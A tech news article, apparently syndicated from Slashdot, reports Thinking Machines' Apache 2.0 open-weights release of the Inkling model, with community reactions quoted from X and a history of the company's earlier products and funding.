Licensing: True Open-Source for the Enterprise

For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.

In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.

The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.

Community Reactions: The Engineering Feat

The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.

In a post on X, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."

Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in another post on X: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"

The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization in his own X post: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."

Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."

Background: The Road to Inkling

To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.

When Mira Murati departed OpenAI in late 2024 to found Thinking Machines alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.

By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the impending release of a product with a "significant open source component" to empower researchers and startups.

The company’s philosophy began coming into sharper focus in October 2025 with the launch of Tinker, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.

That same month, Thinking Machines researcher Rafael Rafailov delivered a provocative critique of the AI industry at TED AI. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in try/except blocks—because they are trained strictly for task completion rather than genuine learning.

Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.

In May 2026, the lab teased its technical prowess with the research preview of TML-Interaction-Small, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.

Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.

Read more of this story at Slashdot.